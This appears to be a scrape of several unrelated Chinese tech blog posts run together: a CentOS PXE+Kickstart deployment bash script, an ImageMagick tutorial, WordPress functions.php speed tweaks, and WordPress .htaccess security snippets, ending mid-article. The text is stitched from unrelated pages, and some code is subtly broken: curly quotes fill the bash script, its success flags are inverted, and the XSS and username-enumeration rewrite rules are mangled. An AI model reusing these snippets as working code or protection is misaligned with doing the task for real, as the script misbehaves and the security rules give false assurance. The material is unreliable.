一键PXE+Kickstart自动化部署脚本

一键PXE+Kickstart自动化部署脚本(CentOS)

八宝茶&黑兰州

于 2021-03-10 18:53:31 发布

71
收藏
分类专栏: 运维脚本 文章标签: linux centos
版权

运维脚本
专栏收录该内容
4 篇文章0 订阅
订阅专栏
基于shell的自动化部署脚本
淦!由于本人太菜的原因,一度导致就这么个破脚本浪费了四天时间!大量时间都在调错上,累到虚脱!
autoIS.sh

#############by西北苦命漢###################
#!/bin/bash
#LANG=”zh_CN.GB18030
############pxe+kickstart無人值守安裝腳本################
function Divider(){
echo “################################################################”
}
if [ $# -eq 0 ]
then
echo -e “\033[31m 缺少参数!\n使用方法:sh autoIS.sh [服务端IP地址]”
exit
fi
function show(){
echo -e “\033[31m 網絡環境異常,請檢查! \033[0m”
exit
}
function status(){
if [ $1 -eq 0 ]
then
echo -e “\033[32m $2成功! \033[0m”
else
echo -e “\033[31m $2失败! \033[0m”
fi

}
if [ `id -u` -ne 0 ]
then
echo -e “\033[31m 此腳本需管理員執行,當前用戶非管理員! \033[0m”
exit
fi
find /dev/sr0
if [[ $? != 0 ]]
then
echo -e “\033[31m error:sr0! \033[0m”
echo -e “\033[31m 请确认您的光驱内有光盘?(Y/N): \033[0m \c”
read que
if [[ $que == “n” ]] || [[ $que == “N” ]]
then
exit
fi
fi
echo -e “\033[34m 正在檢查網絡狀態,請等待! \033[0m”
ping -c 3 www.baidu.com > /dev/null && echo -e “\033[34m 開始部署環境 \033[0m” || show
####環境部署模塊####
Divider
yum install -y dhcp && echo -e “\033[32m 1.DHCP服務安裝成功! \033[0m” || echo -e “\033[31m 1.DHCP服務安裝失敗! \033[0m”
yum install -y tftp-server && echo -e “\033[32m 2.TFTP服務安裝成功! \033[0m” || echo -e “\033[31m 2.TFTP服務安裝失敗! \033[0m”
yum install -y xinetd && echo -e “\033[32m 3.Xinetd服務安裝成功! \033[0m” || echo -e “\033[31m 3.Xinetd服務安裝失敗! \033[0m”
yum install -y syslinux && echo -e “\033[32m 4.SYSlinux服務安裝成功! \033[0m” || echo -e “\033[31m 4.SYSlinux服務安裝失敗! \033[0m”
yum install -y httpd && echo -e “\033[32m 5.HTTP服務安裝成功! \033[0m” || echo -e “\033[31m 5.HTTP服務安裝失敗! \033[0m”
echo -e “\033[34m 環境部署動作結束!!! \033[0m”
mkdir /media/cdrom
mount /dev/sr0 /media/cdrom/ && echo -e “\033[32m 6.光盘挂载成功! \033[0m” || echo -e “\033[31m 6.光盘挂载失敗! \033[0m”
echo -e “[centos]\nname=centos\nbaseurl=file:///media/cdrom\ngpgcheck=0\nenabled=1” > /etc/yum.repos.d/local.repo && echo -e “\033[32m 7.仓库部署成功! \033[0m” || echo -e “\033[31m 7.仓库部署失敗! \033[0m”
systemctl enable httpd
str=`ifconfig | sed -n ‘1p’`
str1=`echo ${str%%:*}`
nmcli connection modify $str1 ipv4.method manual ipv4.addresses $1/24 ipv4.gateway “” ipv4.dns “” connection.autoconnect yes && echo -e “\033[32m 8.网卡已重新配置! \033[0m” || echo -e “\033[31m 8.网卡配置失败,请自行修改ip地址为$1 \033[0m”
nmcli connection up $str1
IP3=$1
flag=0
IP3=${IP3%.*}
sed -ri “s/([0-9]{1,3}\.){2}[0-9]{1,3}/$IP3/g” dhcpd1.txt || flag=1
sed -ri “s/([0-9]{1,3}\.){2}[0-9]{1,3}/$IP3/g” dhcpd2.txt || flag=1
status $flag “IP地址写入DHCP配置文件”
Divider
####DHCP防报错模块####
flag=0
cat ./dhcpd1.txt > /etc/dhcp/dhcpd.conf || flag=1
sed -i “2asubnet $IP3\.0 netmask 255.255.255.0 {” /etc/dhcp/dhcpd.conf || flag=1
sed -i “4aoption subnet-mask 255.255.255.0;” /etc/dhcp/dhcpd.conf || flag=1

systemctl restart dhcpd || flag=1
status $flag “DHCP服务防报错配置”
####服務配置模塊####
Divider
cat ./dhcpd2.txt > /etc/dhcp/dhcpd.conf && echo -e “\033[32m 1.DHCP配置文件寫入成功! \033[0m” || echo -e “\033[31m 1.DHCP配置文件寫入失敗! \033[0m”
sed -i “4asubnet $IP3\.0 netmask 255.255.255.0 {” /etc/dhcp/dhcpd.conf || flag=1
sed -i “5aoption subnet-mask 255.255.255.0;” /etc/dhcp/dhcpd.conf || flag=1
sed -i “6aoption domain-name-servers $1;” /etc/dhcp/dhcpd.conf || flag=1
sed -i “10anext-server $1;” /etc/dhcp/dhcpd.conf || flag=1
line=`sed -n ‘/disable/=’ /etc/xinetd.d/tftp`
sed -i “$line{s/yes/no/g}” /etc/xinetd.d/tftp && echo -e “\033[32m 2.TFTP配置文件寫入成功! \033[0m” || echo -e “\033[31m 2.TFTP配置文件寫入失敗! \033[0m”
flag=0
cp /usr/share/syslinux/pxelinux.0 /var/lib/tftpboot/ || flag=1
cp /media/cdrom/images/pxeboot/{vmlinuz,initrd.img} /var/lib/tftpboot/ || flag=1
cp /media/cdrom/isolinux/{vesamenu.c32,*.msg} /var/lib/tftpboot/ || flag=1
status $flag “3.SYSlinux引导文件拷贝至TFTP目录下”
mkdir /var/lib/tftpboot/pxelinux.cfg
cp /media/cdrom/isolinux/isolinux.cfg /var/lib/tftpboot/pxelinux.cfg/default && echo -e “\033[32m 3.开机配置文件拷贝成功! \033[0m” || echo -e “\033[31m 3.开机配置文件拷贝失敗! \033[0m”
flag=0
str1=”hd:LABEL=CentOS\x207\x20x86_64″
sed -i ‘1c default linux’ /var/lib/tftpboot/pxelinux.cfg/default || flag=1
sed -i ’64d’ /var/lib/tftpboot/pxelinux.cfg/default || flag=1
sed -i “63aappend initrd=initrd.img inst.repo=http://$1/iso ks=http://$1/pub/ks.cfg quiet” /var/lib/tftpboot/pxelinux.cfg/default || flag=1
sed -i ’70d’ /var/lib/tftpboot/pxelinux.cfg/default || flag=1
sed -i “69aappend initrd=initrd.img inst.repo=http://$1/iso rd.live.check ks=http://$1/pub/ks.cfg quiet” /var/lib/tftpboot/pxelinux.cfg/default || flag=1
status $flag “4.开机选项配置”
mkdir /var/www/html/iso && echo -e “\033[32m 5.服务目录创建成功! \033[0m” || echo -e “\033[31m 5.服务目录创建失败! \033[0m”
echo -e “\033[34m 以下拷贝时间较长,请耐心等待… \033[0m”
cp -r /media/cdrom/* /var/www/html/iso/ && echo -e “\033[32m 6.光盘镜像已拷贝到http工作目录下! \033[0m” || echo -e “\033[31m 6.光盘镜像拷贝失败! \033[0m”
firewall-cmd –permanent –add-port=69/udp && echo -e “\033[32m (tftp放行成功!) \033[0m” || echo -e “\033[31m (tftp放行失败!) \033[0m”
firewall-cmd –reload
mkdir /var/www/html/pub && echo -e “\033[32m 7.应答目录创建成功! \033[0m” || echo -e “\033[31m 7.应答目录创建失败! \033[0m”
cp ~/anaconda-ks.cfg /var/www/html/pub/ks.cfg && echo -e “\033[32m 8.应答文件已拷贝! \033[0m” || echo -e “\033[31m 8.应答文件拷贝失败! \033[0m”
chmod +r /var/www/html/pub/ks.cfg && echo -e “\033[32m 9.应答文件已授权! \033[0m” || echo -e “\033[31m 9.应答文件未授权! \033[0m”
firewall-cmd –permanent –add-service=http && echo -e “\033[32m 10.防火墙已放行! \033[0m” || echo -e “\033[31m 10.防火墙未放行 \033[0m”
firewall-cmd –reload
flag=0
line=`sed -n ‘/cdrom/=’ /var/www/html/pub/ks.cfg`
sed -i “$line{s!cdrom!url –url=http://$1/iso!g}” /var/www/html/pub/ks.cfg && `flag=1`
sed -i “s/^.*timezone .*$/timezone Asia\/Shanghai –isUtc/” /var/www/html/pub/ks.cfg && `flag=1`
line=`sed -n ‘/–none/=’ /var/www/html/pub/ks.cfg`
sed -i “$line{s!–none!–all!g}” /var/www/html/pub/ks.cfg && `flag=1`
status $flag “11.镜像安装参数配置”
Divider
#####服务启动模块#####
systemctl restart dhcpd && echo -e “\033[32m 1.DHCP服务开启成功! \033[0m” || echo -e “\033[31m 1.DHCP服务开启失败! \033[0m”
systemctl enable dhcpd
systemctl restart tftp && echo -e “\033[32m 2.TFTP服务开启成功! \033[0m” || echo -e “\033[31m 2.TFTP服务开启失败! \033[0m”
systemctl enable tftp
systemctl restart xinetd && echo -e “\033[32m 3.Xinetd服务开启成功! \033[0m” || echo -e “\033[31m 3.Xinetd服务开启失败! \033[0m”
systemctl enable xinetd
systemctl restart httpd && echo -e “\033[32m 4.HTTP服务开启成功! \033[0m” || echo -e “\033[31m 4.HTTP服务开启失败! \033[0m”
systemctl enable httpd
str=`ifconfig | sed -n ‘1p’`
str1=`echo ${str%%:*}`
nmcli connection modify $str1 ipv4.method manual ipv4.addresses $1/24 ipv4.gateway “” ipv4.dns “” connection.autoconnect yes && echo -e “\033[32m 5.网卡已重新配置! \033[0m” || echo -e “\033[31m 5.网卡配置失败,请自行修改ip地址为$1 \033[0m”
nmcli connection up $str1
echo -e “\033[34m 脚本执行完毕!!!\n \033[0m”
Divider

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
配置文件
dhcpd1.conf
防DHCP报错的,挺废的,当然是本人太菜了,不过这能解决问题!

ddns-update-style none;
ignore client-updates;
range 192.168.4.50 192.168.4.250;
option routers 192.168.4.1;
option domain-name “www.baidu.com”;
option domain-name-servers 192.168.4.1;
default-lease-time 21600;
max-lease-time 43200;
}
1
2
3
4
5
6
7
8
9
dhcpd2.conf
正式的DHCP配置文件,为啥不写在脚本里?不想!

allow booting;
allow bootp;
ddns-update-style interim;
ignore client-updates;
range dynamic-bootp 192.168.4.50 192.168.4.200;
default-lease-time 21600;
max-lease-time 43200;
filename “pxelinux.0”;
}
1
2
3
4
5
6
7
8
9
脚本使用方法:sh autoIS.sh [服务器IP]
警告:
1.在服务器上做实验的,记得连接虚拟光盘!
2.脚本执行会更改网卡配置,执行完不能上网,是很有可能的,用nmtui来恢复网卡配置就ok!

当然!这个脚本太基础了,你也可以在这个脚本的基础上加些东西,比如环境监测之类的!

文章知识点与官方知识档案匹配,可进一步学习相关知识
CS入门技能树Linux环境安装安装CentOS1660 人正在系统学习中
————————————————
版权声明:本文为CSDN博主「八宝茶&黑兰州」的原创文章,遵循CC 4.0 BY-SA版权协议,转载请附上原文出处链接及本声明。
原文链接:https://blog.csdn.net/qq_43233084/article/details/114643017

ImageMagick 图片处理常用实例简介

 发表于 2019-04-11 |  分类于 Tools |  |  阅读次数: 字数统计: 3.8k |  阅读时长 ≈ 0:04

ImageMagick 是一整套用于图像处理的跨平台的命令行工具,大部分 Linux 发行版都可以直接通过包管理器安装(如 Ubuntu 系统:sudo apt-get install imagemagick)。其他平台也可以从官网下载对应的编译好的程序。
通过命令行,ImageMagick 可以很高效的对图片进行编辑、转换和创作,也支持批量处理多张图片,或者内嵌到 Bash 脚本中。
这里简单介绍下 ImageMagick 常见的几种用法。

格式转换

ImageMagick 提供了 convert 命令用于接收图片文件并对其进行特定的操作后输出。其中最基本的用法即改变图片的格式。

如将 PNG 格式的图片转为 JPEG 格式:
$ convert image.png image.jpg

对于 JPEG 图片,在转换时还可以指定压缩等级,如:
$ convert image.png -quality 95 image.jpg

其中压缩等级(-quality)的值为 1-100,默认使用输入图片的压缩等级。如该值为空,则压缩等级默认为 92 。

改变图片大小

convert 命令还可以用来改变图片的大小。如下面的命令可以将原图片转成大小为 200×100 像素的图片:
$ convert image.png -resize 200x100 out.png

需要注意的是,在上面的命令中,ImageMagick 会优先保持原图片的比例(否则图片会发生一定程度的变形)。这样的结果是,改变后的图片可以正好放进一个 200×100 大小的区域,但图片本身并不一定是精确的 200×100 像素。

如果就是需要将原图片转换为特定大小,而不用考虑形变的影响。可以使用如下命令:
$ convert image.png -resize 200x100! out.png

当然更多的时候,指定输出图片的大小时并非一定需要“宽x高”这样的形式,其实只需要指定宽或者高中的一项即可。如指定输出图片的宽度:
$ convert image.png -resize 200 out.png

或者指定输出图片的高度:
$ convert image.png -resize x100 out.png

旋转与翻转

将原图片旋转 90° 后输出:
$ convert image.jpg -rotate 90 image-rotated.jpg

指定的角度为正时即顺时针旋转图片,为负时逆时针旋转。

左右翻转:
$ convert image.png -flop out.png
上下翻转:
$ convert image.png -flip out.png

PS:包括前面的几种情况在内,如果输出图片的文件名和原图片相同,则改变后的图片会直接覆盖掉原图片。

裁剪与缩放

convert 命令支持等比例缩放图片,如将图片缩小为原来的一半:
$ convert image.png -scale 50% out.png

同时 convert 也可以对图片进行裁剪,包括自动裁剪(剔除图片周围空白的部分或边框等)和自定义范围的裁剪。

自动裁剪$ convert image.png -trim out.png
trim

自定义裁剪$ convert image.jpg -crop 600x600+240+240 out.jpg
crop

其中 -crop 的参数为 宽x高+横坐标偏移量+纵坐标偏移量 的形式,即宽和高用来定义裁剪的矩形区域的范围,横纵偏移量用来指定裁剪区域的相对位置(都为 0 时表示从最左上角开始)。

需要注意的是,当用 -crop 选项裁剪 PNG 和 GIF 格式的图片时(这两种格式的图片包含“虚拟画布”),并不是以画面的实际像素为基准,而是需要参考“画布”的大小和位置,所以有时候并不会达到预期的效果。
详细介绍可参考官方文档 Cutting and Bordering 。

shave

裁剪图片有时候可以采取相反的思路,即剔除图片中不需要的部分:
$ convert image.png -shave 100x50 out.png
将输入图片的左右两边剔除 100 像素,上下两边剔除 50 像素,获取剩余的部分并输出。

色彩、亮度与饱和度

convert 命令可以通过 -modulate 选项调整图片的色彩、亮度和饱和度。如:
$ convert image.png -modulate 150,100,100 out.png

上述命令会将原图片的亮度增大为原来的 150% 。其中 150,100,100 三个数值分别表示亮度、饱和度和色相
100 为基准值,即大于 100 表示增强某种属性,小于 100 表示减弱某种属性。

透明度、色彩与位深度

  • 将透明(alpha)通道替换为纯黑色:$ convert image.png -flatten out.png
  • 将原彩色图片转为灰度模式:$ convert image.png -type Grayscale out.png
  • 降低图片的位深度(bits per pixel):$ convert image.png -depth 8 out.png
  • 减少图片色彩:$ convert image.png -dither -colors 256 out.png

PSdither 会增加像素点,如需要在减少色彩的同时不应用 dither 效果,将命令中的 -dither 替换为 +dither 。

锐化与虚化

锐化
$ convert image.png -sharpen 2 out.png

模糊
$ convert image.png -blur 1 out.png

添加文字和边框

添加水印
$ convert image.jpg -fill red -draw "text 20 20 '© 2019 example.com'" out.jpg

可以自行定义添加文字的位置(默认为左上角)和字体类型:
$ convert image.jpg -fill red -gravity SouthEast -font arial -draw "text 20 20 '© 2019 example.com'" out.jpg

添加边框
$ convert image.png -bordercolor blue -border 50 out.png
其中 -bordercolor 用于指定边框颜色,-border 用于指定边框宽度,可以为百分比。

组合叠加

组合多张图片(垂直方向)
$ convert x1.png x2.png x3.png -append out.png

组合多张图片(水平方向)
$ convert x1.png x2.png x3.png +append out.png

叠加图片
$ composite -gravity center img1.png img2.png out.png
将 img1.png 叠加到 img2.png 上并作为 out.png 输出(方位为正中间)

应用效果

ImageMagick 可以对图片应用多种样式的特效。如 “charcoal” 效果:
$ convert image.png -charcoal 2 out.png
Charcoal
其中 -charcoal 后面的数字 2 用于指定该效果的强度。

“implode” 效果:
$ convert image.png -implode 1 out.png
Implode

结合多种操作

前面提到的多种处理方式实际上可以任意组合使用,使得只用一条命令即可以同时完成多种操作。如:
$ convert image.png -resize 400x400 -rotate 180 -charcoal 4 -quality 95 out.jpg
Combination

批量处理

借助 Bash 脚本(Linux 系统)的强大功能,ImageMagick 可以很方便的批量处理多张图片。
如下面的命令可以查找当前目录下所有的 PNG 图片,将它们每一张都旋转 90°,再将原文件名添加 “rotated-” 前缀后保存:
$ for file in *.png; do convert $file -rotate 90 rotated-$file; done

Windows 系统上是没有原生的 Bash Shell 的,但是可以下载安装某些软件以支持 Bash 环境,比如 Git for Windows
其实使用 Windows 系统自带的 PowerShell 也可以完成同样的批量操作:
PS > dir *.png | foreach { convert $_ -rotate 90 rotated-$($_.basename).png }
Batch Processing

有兴趣的话,可以多玩几下。

GIF 动图制作

可以借助 convert 命令将多张图片组合为一张重复播放的 GIF 动图:
$ convert -delay 20 -loop 0 *.png out.gif

其中 -delay 选项用于指定图片切换的时间间隔,单位为毫秒

参考文章

ImageMagick Tutorial
ImageMagick basics

拓展阅读

Examples of ImageMagick Usage(很详细)

10个WordPress必备提高WordPress访问速度和精简代码

2020-07-30 17:27:31 分类:建站实操

我们很多网友,尤其是很多WordPress新手会发现自己在使用这款程序建站的时候为什么网站打开速度很慢,而有些网友即便数据和图片比较多网站打开速度也是比较快的,甚至你们都是使用的同一家的服务器。这个就在于我们在使用WordPress的时候是否有对于代码基础优化,当然如果深度优化是需要一些技能的,但是基础的优化我们大家都会做。

在这篇文章中,我们老部落整理几个常用的入门可以提高网站速度和代码优化效率的模块。如果我们是新手WordPress可以添加到网站中然后使得网站效率。

第一、网站目录反斜杠

//~ 页面链接后添加反斜杠
function itbulu_nice_trailingslashit($string, $type_of_url) {
if ($type_of_url != 'single')
$string = trailingslashit($string);
return $string;
}
add_filter('user_trailingslashit', 'itbulu_nice_trailingslashit', 10, 2);

添加这个脚本可以使得网站目录后缀URL加上反斜杠,默认是没有的。比如:https://www.laobuluo.com/tutorials/solution/。

第二、禁止emojis

//禁止emojis Edit By laobuluo.com
function disable_emojis() {
remove_action( 'wp_head', 'print_emoji_detection_script', 7 );
remove_action( 'admin_print_scripts', 'print_emoji_detection_script' );
remove_action( 'wp_print_styles', 'print_emoji_styles' );
remove_action( 'admin_print_styles', 'print_emoji_styles' );
remove_filter( 'the_content_feed', 'wp_staticize_emoji' );
remove_filter( 'comment_text_rss', 'wp_staticize_emoji' );
remove_filter( 'wp_mail', 'wp_staticize_emoji_for_email' );
add_filter( 'tiny_mce_plugins', 'disable_emojis_tinymce' );
}
add_action( 'init', 'disable_emojis' );
function disable_emojis_tinymce( $plugins ) {
if ( is_array( $plugins ) ) {
return array_diff( $plugins, array( 'wpemoji' ) );
} else {
return array();
}
}

一般网站用不上emojis,我们可以禁止。

第三、去掉CSS/JS后缀版本号

//去除加载的css和js后面的版本号 Edit By laobuluo.com
function sb_remove_script_version( $src ){
$parts = explode( '?', $src );
return $parts[0];
}
add_filter( 'script_loader_src', 'sb_remove_script_version', 15, 1 );
add_filter( 'style_loader_src', 'sb_remove_script_version', 15, 1 );

第四、禁止自PING和版本保存

function no_self_ping( &$links ) {
$home = get_option( 'home' );
foreach ( $links as $l => $link )
if ( 0 === strpos( $link, $home ) )
unset($links[$l]);
}
add_action( 'pre_ping', 'no_self_ping' );
remove_action('pre_post_update', 'wp_save_post_revision');
add_action('wp_print_scripts', 'disable_autosave');
function disable_autosave() {
wp_deregister_script('autosave');
}

第五、部分头部禁止模块

remove_action( 'wp_head', 'wp_generator' );
remove_action( 'wp_head', 'parent_post_rel_link', 10, 0 );
remove_action( 'wp_head', 'start_post_rel_link', 10, 0 );
remove_action( 'wp_head', 'adjacent_posts_rel_link_wp_head', 10, 0 );
remove_action( 'wp_head', 'feed_links_extra', 3 );
remove_action( 'wp_head', 'feed_links', 2 );
remove_action( 'wp_head', 'rsd_link' );
remove_action( 'wp_head', 'wlwmanifest_link' );
remove_action( 'wp_head', 'index_rel_link' );
remove_action( 'wp_head', 'wp_shortlink_wp_head', 10, 0 );

第六、将JQ文件底部加载

//强制jquery库文件底部载入 Edit By laobuluo.com
function ds_print_jquery_in_footer( &$scripts) {
    if ( ! is_admin() )
        $scripts->add_data( 'jquery', 'group', 1 );
}
add_action( 'wp_default_scripts', 'ds_print_jquery_in_footer' );

底部加载可以提高网站打开速度。

第七、关闭XML-RPC

// 关闭 XML-RPC 功能  Edit By laobuluo.com
add_filter('xmlrpc_enabled', '__return_false');

第八、关闭REST API

// 屏蔽 REST API
add_filter('rest_enabled', '__return_false');
add_filter('rest_jsonp_enabled', '__return_false');

第九、移除头部JSON

//移除头部 wp-json 标签和 HTTP header 中的 link Edit By laobuluo.com
remove_action('wp_head', 'rest_output_link_wp_head', 10 );
remove_action('template_redirect', 'rest_output_link_header', 11 );

第十、禁止Gutenberg编辑器

//禁止Gutenberg编辑器
add_filter('use_block_editor_for_post', '__return_false');
remove_action( 'wp_enqueue_scripts', 'wp_common_block_scripts_and_styles' );

总结,我们可以根据上面的功能将代码加入到当前WP主题的Functions.php文件中。

15个有用的WordPress .htaccess 代码片段

文章目录[隐藏]

如果您想提高安全性并减少 WordPress网站上的漏洞,那么拥有一个配置良好的.htaccess文件至关重要。通常,创建自定义.htaccess文件的主要目的是防止您的网站被黑客入侵,但它也是处理重定向和管理缓存相关任务的绝佳方式。

推荐阅读《网站管理员和Web开发人员.htaccess入门指南

.htaccess是Apache Web服务器上使用的配置文件。大多数WordPress站点都在Apache服务器上运行,尽管其中一小部分由Nginx提供支持。在本文中,您可以找到.htaccess代码片段的集合,其中大部分可用于保护您的网站,而其余代码片段实现其他有用的功能。

不要忘记在编辑之前备份.htaccess文件,以便在出现问题时始终可以返回到以前的版本。

如果你是一个不喜欢触摸配置文件的人,我推荐你使用BulletProof Security插件,它是市场上最可靠(也可能是最老的)免费.htaccess安全插件

创建 WP 默认的 .htaccess

.htaccess基于每个目录工作,这意味着每个目录都可以拥有自己的.htaccess文件。很可能你的WordPress网站还没有.htaccess文件。如果在根目录中找不到.htaccess文件,请创建一个空文本文件并将其命名为.htaccess

下面,您可以找到WordPress使用的默认.htaccess。无论何时需要此代码,您都可以在WordPress Codex中快速查找。请注意,WP Multisite(多站点)有一个不同的.htaccess 。

# BEGIN WordPress
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^index\.php$ - [L]
RewriteCond %{REQUEST_FILENAME} !-f
RewriteCond %{REQUEST_FILENAME} !-d
RewriteRule . /index.php [L]
</IfModule>
# END WordPress

# 开头的行是注释。不要编辑任何# BEGIN WordPress# END WordPress之间的代码。在这些默认规则下添加自定义.htaccess 规则

有用的.htaccess代码

你可以在本文中找到的所有代码段,然后添加到根目录的核心.htaccess文件

1.拒绝访问所有.htaccess文件

下面的代码拒绝访问你WordPress中的所有.htaccess文件。这样,您可以阻止别人查看你的Web服务器配置

# Denies access to all .htaccess files
<Files ~ "^.*\.([Hh][Tt][Aa])">
Order Allow,Deny
Deny from all
Satisfy all
</Files>

2.保护你的WP配置文件

wp-config.php文件包含所有WP配置,包括数据库登录名和密码。您可以拒绝所有人或允许管理员访问它

如果你选择后者,去除# Allow from xx.xx.xx.xxx 前面的 # ,并插入管理员的IP地址来代替xx.xx.xx.xxx

# Protects wp-config
<Files wp-config.php>
Order Allow,Deny
# Allow from xx.xx.xx.xxx
# Allow from yy.yy.yy.yyy
Deny from all
</Files>

3.防止XML-RPC DDoS攻击

WordPress 默认支持XML-RPC,这是一个使远程发布接口。然而,虽然它是一个很棒的功能,但它也是WP最大的安全漏洞之一,因为黑客可能利用它来进行DDoS攻击

如果您不想使用此功能,最好禁用它。和以前一样,你可以通过去除# Allow from xx.xx.xx.xxx前面的 # 和添加管理员(或多个)的IP地址。

# Protects XML-RPC, prevents DDoS attack
<FilesMatch "^(xmlrpc\.php)">
Order Deny,Allow
# Allow from xx.xx.xx.xxx
# Allow from yy.yy.yy.yyy
Deny from all
</FilesMatch>

4.保护网站后台

通过仅向管理员提供访问权限来保护网站后台也是一个好主意。在这里,不要忘记添加至少一个“允许”例外IP,否则您根本无法访问网站后台。

注:如果你的宽带没有固定的IP,请务必不要设置,否则你可能无法访问网站后台!

# Protects admin area by IP
AuthUserFile /dev/null
AuthGroupFile /dev/null
AuthName "WordPress Admin Access Control"
AuthType Basic
<LIMIT GET>
Order Deny,Allow
Deny from all
Allow from xx.xx.xx.xxx
Allow from yy.yy.yy.yyy
</LIMIT>

5.阻止目录列表

大多数WordPress网站不会禁用目录列表,这意味着任何人都可以浏览其文件夹和文件,包括媒体上传和插件文件。不用说,这是一个巨大的安全漏洞。

下面,你可以看到典型的WordPress目录列表的外观

幸运的是,您只需要一行代码就可以阻止此功能。此代码段将向想要访问您的目录的任何人返回403错误消息

# Prevents directory listing
Options -Indexes

6.防止用户名枚举

如果启用了WP永久链接,则使用作者存档枚举用户名非常容易。然后,显示的用户名(包括管理员的用户名)可用于暴力攻击

将下面的代码插入.htaccess文件以防止用户名枚举

# Prevents username  enumeration
RewriteCond %{QUERY_STRING} author=d
RewriteRule ^ /? [L,R=301]

7.阻止垃圾邮件发送者和机器人

有时你可能希望限制某些IP地址的访问。此代码段提供了一种简单的方法来阻止你已经知道的垃圾邮件发送者和机器人。

# Blocks spammers and bots
<Limit GET POST>
Order Allow,Deny
Deny from xx.xx.xx.xxx
Deny from yy.yy.yy.yyy
</Limit>
Allow from all

8.防止图片盗链

虽然不是安全威胁,但图片盗链仍然是一件烦人的事情。人们不仅在未经您许可的情况下使用你的图片,可能会导致你的带宽费用支出。使用这几行代码,您可以保护你的网站被盗链图片。

# Prevents image hotlinking
RewriteEngine on
RewriteCond %{HTTP_REFERER} !^$
RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?yourwebsite.com [NC]
RewriteCond %{HTTP_REFERER} !^http(s)?://(www\.)?yourwebsite2.com [NC]
RewriteRule \.(jpe?g?|png|gif|ico|pdf|flv|swf|gz)$ - [NC,F,L]

9.限制对插件和主题PHP文件的直接访问

如果有人直接调用您的插件和主题文件,无论是意外发生还是恶意攻击者,都会很危险。此代码段来自Acunetix网站安全公司 ; 您可以在他们的博文中阅读有关此漏洞的更多信息。

# Restricts access to PHP files from plugin and theme directories
RewriteCond %{REQUEST_URI} !^/wp-content/plugins/file/to/exclude\.php
RewriteCond %{REQUEST_URI} !^/wp-content/plugins/directory/to/exclude/
RewriteRule wp-content/plugins/(.*\.php)$ - [R=404,L]
RewriteCond %{REQUEST_URI} !^/wp-content/themes/file/to/exclude\.php
RewriteCond %{REQUEST_URI} !^/wp-content/themes/directory/to/exclude/
RewriteRule wp-content/themes/(.*\.php)$ - [R=404,L]

10.设置永久重定向

你可以使用.htaccess 轻松处理永久重定向。首先,你必须添加旧URL,然后按照指向要将用户重定向到的页面的新URL

# Permanent redirects
Redirect 301 /oldurl1/ http://yoursite.com/newurl1
Redirect 301 /oldurl2/ http://yoursite.com/newurl2

11.将访问者发送到维护页面

如果你的网站在维护,我们希望告知访客这个事情,可以使用规则去实现。你需要一个单独的维护页面maintenance.html在示例中)才能使此.htaccess规则生效。此代码将你的WordPress站点置于维护模式

# Redirects to maintenance page
<IfModule mod_rewrite.c>
RewriteEngine on
RewriteCond %{REMOTE_ADDR} !^123\.456\.789\.000
RewriteCond %{REQUEST_URI} !/maintenance.html$ [NC]
RewriteCond %{REQUEST_URI} !\.(jpe?g?|png|gif) [NC]
RewriteRule .* /maintenance.html [R=503,L]
</IfModule>

12.限制对 wp-includes 目录的所有访问

/wp-includes/文件夹包含必需的核心WordPress文件。没有内容、插件、主题或用户可能想要访问的任何其他内容。因此,为了加强安全性,最好限制对它的所有访问

# Blocks all wp-includes folders and files
<IfModule mod_rewrite.c>
RewriteEngine On
RewriteBase /
RewriteRule ^wp-admin/includes/ - [F,L]
RewriteRule !^wp-includes/ - [S=3]
RewriteRule ^wp-includes/[^/]+\.php$ - [F,L]
RewriteRule ^wp-includes/js/tinymce/langs/.+\.php - [F,L]
RewriteRule ^wp-includes/theme-compat/ - [F,L]
</IfModule>

13.阻止跨站点脚本(XSS)

以下代码片段来自WP Mix,它可以保护你的站点免受一些常见的XSS攻击,即脚本注入和尝试修改全局和请求变量。

# Blocks some XSS attacks
<IfModule mod_rewrite.c>
RewriteCond %{QUERY_STRING} (\|%3E) [NC,OR]
RewriteCond %{QUERY_STRING} GLOBALS(=|\[|\%[0-9A-Z]{0,2}) [OR]
RewriteCond %{QUERY_STRING} _REQUEST(=|\[|\%[0-9A-Z]{0,2})
RewriteRule .* index.php [F,L]
</IfModule>

14.启用浏览器缓存

正如我之前提到的,.htaccess不仅有利于安全性和重定向,还可以帮助您管理缓存。下面的代码片段来自Elegant Themes,它通过允许访问者保存某些类型的文件使浏览器缓存成为可能,因此下次访问时他们不必再次下载它们。

# Enables browser caching
<IfModule mod_expires.c>
ExpiresActive On
ExpiresByType image/jpg "access 1 year"
ExpiresByType image/jpeg "access 1 year"
ExpiresByType image/gif "access 1 year"
ExpiresByType image/png "access 1 year"
ExpiresByType text/css "access 1 month"
ExpiresByType application/pdf "access 1 month"
ExpiresByType text/x-javascript "access 1 month"
ExpiresByType application/x-shockwave-flash "access 1 month"
ExpiresByType image/x-icon "access 1 year"
ExpiresDefault "access 2 days"
</IfModule>

15.设置自定义错误页面

你可以使用.htaccess在WordPress网站上设置自定义错误页面。对于这种方法,您还需要创建自定义错误页custom-403.htmlcustom-404.html在本例中),并上传到你的网站根目录。

您可以为所需的任何HTTP错误状态代码(4XX和5XX状态代码)设置自定义错误页面。

# Sets up custom error pages
ErrorDocument 403 /custom-403.html
ErrorDocument 404 /custom-404.html

好了,今天就分享这些 .htaccess 代码片段,如果你有其他不错的片段,欢迎和我们分享!

参考: https://www.hongkiat.com/blog/useful-htaccess-snippets-for-wordpress/

WordPress优化建议

1、选择优质的托管服务

当用户访问您的站点时,托管服务器将决定信息传递给他们的速度。有些服务器速度很慢,或者,您的套餐可能会限制您的最大速度或允许的服务器资源。简而言之,您的站点永远不会比服务器允许的速度快。选择正确的托管服务器和主机套餐是您应该为网站做出的首要选择之一,也是最重要的选择。

打个比方,电脑运行速度和性能,取决于硬件配置,比如CPU、内存、硬盘等,如果这些硬件配置都比较低,你用什么优化手段都不可能有显著的性能提升。以下是倡萌的建议:

国内网站

